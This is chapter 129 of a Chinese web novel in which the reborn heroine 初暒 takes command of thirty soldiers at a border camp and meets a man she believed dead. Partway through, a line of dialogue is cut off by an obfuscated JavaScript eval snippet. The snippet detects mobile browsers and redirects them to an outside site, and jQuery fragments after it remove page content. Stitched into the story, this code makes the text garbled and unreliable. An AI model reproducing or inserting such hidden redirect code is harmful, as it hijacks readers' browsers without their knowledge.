129. 总旗

作品:《重生之大兴女将

    “你们中,初暒是哪个?!”


    第三先眼底的轻蔑与语气中的不屑毫不掩饰,初暒气沉丹田向前一步,答,“报,属下就是初暒!”


    队列中有一个窄肩细腰的挺拔少年应声而出,第三先双手叉腰大步朝那少年走去然后抻着脖子上下打量着她。


    “早听说朝廷今年招安招来了虔来山的土匪头儿,我还当有多么勇猛呢,原来竟是个毛都没长齐的小白脸啊,难怪能被一个病秧子打下来。”


    第三先戏弄似的在初暒脸上拍了两下,被初暒侧首避开后,他收回手冷声对一众今日刚被送来的新兵们道,“我不管你们是什么土匪山寨霸王头儿,也不管你们在新兵营中使了什么手段能入上面人的眼,只告诉你们,如今你们在我第三先手下办事就得守我的规矩,在边境办差,要是不想尽早见阎王,都给我打起十二万分的精神乖乖听从上官命令与指派,做个老实本分的小兵,不要总妄想着逞英雄或是卖弄自己那些不值一提的本领,都听明白没有!”


    众人齐声高喊,“明白!”


    第三先一喊完话便转身向前走了几步,可他听见众人这声高呼那瞬又十分迅疾的回身在初暒腹部猛踹了一脚,怒骂,“你明白个屁!”


    他此举突然,等众人回过神来才发现初暒已经被第三先这一脚踹的连退几步,痛得险些连腰都直不起来。


    “初暒!”伍千裘看见初暒被踹,就要伸手去扶。


    饶是早有准备,可腹部的疼痛还是让初暒倒抽了一口凉气,她忍痛朝伍千裘轻轻摇了摇头而后捂着肚子慢慢直起身子冷冷看向了第三先。


    “还敢瞪我!”


    像是不解气,第三先还要再给初暒一拳,哪想到他才挥起手,手腕就被面前那人牢牢锢住。


    初暒体型偏瘦,个头在她身边这群汉子中也不凸出,第三先本以为这小子力如其人,却没料到自己的手被她抓住不用狠劲儿还真是抽不出来。


    “放肆!”


    第三先大喝,“莫要仗着淮指挥佥事提命你为总旗就目中无人!你不经上官号令,擅自做主射伤阿海合烈,殊不知要是你那一箭不慎要了他的命,北漠一定会以此为借口带兵踏平西北边境!你犯了大错,我只不过踹你一脚,你却这般不服管教,真是匪性难除,我一定要将你受招而不从令,扰军营而险生祸端的罪名上报淮指挥佥事!”


    第三先吵嚷的脸红脖子粗,而初暒听完他这番话先是嗤笑一声,才道,“手握这么一批跟蒲公英似的铁骑,也难怪你会如此惧怕北漠带兵踏平西北边境,你要告状便只管去,要是能将我等调走更好,反正我也觉得被分在你手底下有些丢人。”


    蒲公英一吹就散。


    宛如他那些一打就散的骑兵。


    “你个新兵蛋子懂什么!北漠人本就是逐水草而居的游牧民族,他们凶猛彪悍又善于骑射,是我们十数年如一日的驻守在此舍命与他们作对拉扯才得以保住这一方平安!”


    第三先被激怒,吼叫声更大了,他指着在方才的作战中丧生的骑兵,“若没有我手下这些兄弟在前冲锋陷阵,你们此时哪有命在此处与我叫嚣!还嫌我丢人?你要是有本事为他们报仇,你说要我干什么,我第三先就干什么绝无二话……”


    初暒:“这可是你说的。”


    第三先还在骂骂咧咧,冷不丁就听见初暒接了这么一句,他没反应过来,张着的嘴也还没来得及合上,就听初暒又道,“军令如山,属下当遵行不悖,但西北边境地形属下还不熟悉,故而还请千总应许属下一个请求。”


    “什么军令?我何时下过军令”


    第三先佯装是初暒听错,可早见他不顺眼的伍千裘与楚六等人先后回报说,“报!千总,你才说要初暒为丧生在北漠铁骑下的兄弟们报仇!”


    楚六:“是,还说要是初暒真有这个本事,她说什么你就干什么,没有二话呢!千总您可真有魄力!赏罚分明又敢用人,难怪淮指挥佥事会把巡逻警戒、防守要塞的重任全权交在您手上呢!”


    他们一人一嘴吹嘘的第三先下不来台,第三先咬着牙问初暒,“你想请求什么?”


    初暒:“兵。”


    “淮指挥佥事提命你为西北驻军总旗,按规矩是该分兵给你。”第三先想了想,道,“从阎龙手下出来的这些人都给你,其他的我再凑个整。”


    第三先挥手招来二十几个小兵,郑重对初暒说,“这三十个人…这三十人的性命,就交给你了。”


    初暒抱拳颔首,答,“属下定不负千总所托!”


    第三先摆了摆手,“来人,带他们回营地认认门!”


    “是!”


    看亲兵将这群新来的且不知天高地厚的毛头小子带走,第三先注视着他们的背影,又抬手蹭蹭自己的鼻尖后,轻轻露出了一个意味深长的笑容。


    西北的夜已经很深了。


    周围除了风声便只有脚踏砂石与积雪的擦擦声。


    初暒等人在驻军的带领下回到驻地营房,带头那人厉声交代完各类军中纪律要求与规章制度就立即返回复命。


    伍千裘看见老兵走远,立即揪着宋运来到初暒面前,“那第三先出脚没轻没重的,快让小运气给你看看有没有伤着腑脏。”


    初暒忙说,“我早猜到他没安好心,故而腹部吃着力呢,他那脚没伤着我。”


    宋运:“给我看看,要是真没事大家都放心了。”


    初暒:“不必,要是真有事,我定会告诉你的。”


    “她说没事就没事,都是男人,被踹一脚能伤到哪儿去,何必大惊小怪的。”


    楚六不爱听他们啰嗦,嘟囔了一句后才看着营地里摇曳着的不甚明亮的火光打量着眼前的光景,哀叹一声,“咱们不是新兵考核中成绩最好的兵么!怎的就给分到这鸟不拉屎鸡不下蛋的地方啦!”


    杨田不解,问,“你怎知这儿的鸡不下蛋?”


    楚六叹了口气,“鸡下蛋都得找窝呢,你看看,这营房能算的上窝么。”


    眼前的营房是用低矮狭窄像是用东拼西凑木材搭建而成的茅草房,楚六不死心的又扒着门边朝里看了一眼,然后很快捂着鼻子后退几步,嫌弃说,“初暒,这营房简陋也就算了,怎么大冬天的里头也这么难闻啊!”


    初暒见怪不怪,站在营房外将木窗支起来通风,于是军营中独有的、臭烘烘的气息朝她迎面扑来,她并没有嫌恶,反倒觉得十分熟悉。


    “边境地区物资运输困难,军中营房大多都是就地取材,这些茅草、木材在别处可能常见,可在这儿能找到这些想必很不容易,材料既然简易,那么它们一定也不耐久和保温,西北如今正值酷寒,士兵们为了不让屋子钻入冷风,出入营房时大多都不怎么愿意开门开窗通风,难闻是难闻了些,以后都会习惯的。”


    “你如何知晓这些?”


    营地中有道问询骤然响起,这声音不曾日日响在初暒耳边,却莫名让她感到熟悉。


    初暒转身走到第三先分给她的兵士队列前,一眼就寻到了发出那道声音的人。


    那应该是一个死去很久的人。


    可是他还活着,还好端端的站在初暒眼前,问了一句,“你如何知晓这些?”


    “幼时好学,读过一些书。”初暒回答完他的问题,凝视着他,反问,“你为何会这样问我?”


    那男子从队列中站出来颔首抱拳道,“属下范思,是早几日被分来的新兵,今日见总旗年纪尚轻,一时失了分寸多嘴一问,还请总旗责罚!”


    范思大方认错,初暒却并没有接他的话,她看了伍千裘一眼,待伍千裘心领神会的将溜达在营地的楚六与宋运拽进队列站定后,才对她手下这三十名新兵道,“我名初暒,是西北驻军新上任的总旗,如范思所言,我年纪尚轻,如诸君所见,我身形瘦弱,确是一副不像能堪大任的模样,然,所言所见,未必皆真,在我任西北驻军总旗一职期间,诸位均可亲身体察,若哪一位认为我确实无能,我愿交出总旗之职,人皆可罚!但,只要我任西北驻军总旗一日,凡是逆我之军令者,必以重刑惩罚,不从,是因为不服,而不服则生祸乱,必误大事,千总既将你三十人性命交付于我,我初暒定会令行禁止、以身作则,竭尽全力护佑诸位周全!”


    清理战场的原西北驻军陆陆续续带队回来,他们看热闹似的围着这三十个新兵,对着朝这些新兵蛋子训话的小新兵指点谐谑,可那个站在三十人面前的小新兵却对他们声音置若罔闻,她仍旧身姿挺拔、目光坚定凌厉,好似在她眼前的不是三十小兵,而是百万雄师。


    初暒的双眸专注深沉,让人一望便无法心生质疑,被第三先分给一个新兵的小兵们方才还有些不悦,可此刻他们却都对着那少年的眼睛深信不疑,队列中不知是谁先喊了一句“属下必当令行禁止,唯命是从!”


    旗下众小兵皆言,“属下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952249|192103||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    必当令行禁止,唯命是从!”


    初暒点了点头,道,“天色已晚,诸位散后自行回营房休息。”


    众人答,“是!”


    解散的命令一出,这三十个小兵便拔腿冲进营房挑选自己铺位,伍千裘正想问初暒想睡在哪个位置,一扭头就看见初暒背手站在原地,喊了一声,“范思!随我过来。”


    士兵们迅速散去,露出了依旧挺拔站在队列中的男子。


    范思应声跟着初暒走到营地了墙边,他们二人相视而立,互相打量着对方,谁都没有开口。


    良久之后,范思先败下阵来,他无奈说,“你再见到我,好像并不惊讶。”


    初暒答他,“你不也是。”


    “就不好奇我为何会出现在这里?”


    “在思朝暮替我背了黑锅能全身而退,还能好端端站在这里,不消猜想都知道你背后是谁。”


    “我还以为自己这个‘死而复生’的人会将你吓到,却是我想多了,你这般聪慧,我合该替你背黑锅。”


    范思轻轻一笑,一副腼腆的少年模样。


    去年初见,范思还是思朝暮一个只管安稳度日,不谙死生世事的小跑堂,可如今却因为自己来到了危机四伏的边境苦寒之地,初暒为他嘴边笑意感到难过,问,“你不怪我?”


    范思反问,“你知我死讯后,可曾用干粮坨坨祭奠我?”


    初暒回忆片刻后,点头,“你如何知道?”


    “我初到晁都,只认识同乡的李彦才,他那时已是思朝暮主事,不至于给我供干粮坨坨,那么就只有与我有过一面之缘的你了,你并非存心想害我,不然不会祭奠我,也不会叮嘱我‘若往后有人问起我今日所闻,还请我当作从没见过你’,只是我这人嘴笨不会扯谎,于是便自己一步一步走到了今天,怪不得你身上。”


    初暒没有接话,范思继续说,“不过,今日相见,我没想到你会如此平静,我还以为你会……”


    “会什么?”


    “你猜出我背后是谁,又不知晓我对你了解多少,我以为你会想要我的命,但是…我没有在你眼底看到杀意。”


    初暒难得笑了一声,“我曾借你身份险些害你丧命已经过意不去,要你性命作甚,再说,人心难测,哪怕再相熟的好友,也不可能对彼此了如指掌,我们不过一面之缘,你又能了解我多少,我叫你过来,只是想瞧瞧你投靠那人有没有磋磨你,现在看来,过去一年,你或许过的辛苦了些,倒也可以应付自如。”


    “或许我了解的,是能要你命的呢。”


    范思不似玩笑,初暒顿了顿亦用同样的神情回看着他,“我本就亏欠于你,我这条命你何时想要,拿去便是。”


    她一点儿也不在乎自己知道什么,范思忽然松了口气,初暒这时拍了拍他的肩膀,道,“看到你还好好活着,我很高兴,往后同袍,互相照应。”


    范思点点头,也笑,“互相照应。”


    两人并肩回到营房,等候许久的伍千裘指着大通铺靠墙边一个位置,小声道,“初暒,这是给你留的,我就在你旁边堵着,旁人挤不到你。”


    初暒正要过去,范思先冲到靠墙位置将伍千裘挤到一边后,说,“你往那边,我要睡在这儿,我睡觉老实的很,肯定挤不到她。”


    伍千裘啧了一声,刚想支楞起来与这小子理论远近,掰扯亲疏,就听初暒笑说,“不早了,就这么睡吧。”


    伍千裘瞪了瞪眼睛,暗想:这俩人在外面说了一会儿话,怎么就这般亲近了?


    范思不知伍千裘心里在想什么,只麻溜跳上通铺一直将他往外挤,伍千裘睡不下只能侧身躺着,他抻着脖子挥着手很想朝范思脑门来一拳时,突然瞥见范思挤他是为给自己和初暒之间留出一人位置。


    还怪懂事。


    伍千裘放下手,算是饶了这个看着内敛腼腆但其实很会拍上级马屁的臭小子。


    窗外,寒风呼啸。


    初暒望着在风中松动的窗棱,恍如隔世。


    她前世立功时,默默无闻,被害时,天下皆知。


    她想留下来的地方,容不下她,她不想去的地方,倒成了此生心神向往之地


    一年过去。


    她终于再一次回到军营,终于离那些她做梦都想将之筋骨嚼烂的人更近一步。


    初暒双手抱在胸前,在一阵又一阵鼾声与磨牙声中,攥着衣角轻轻阖上了眼。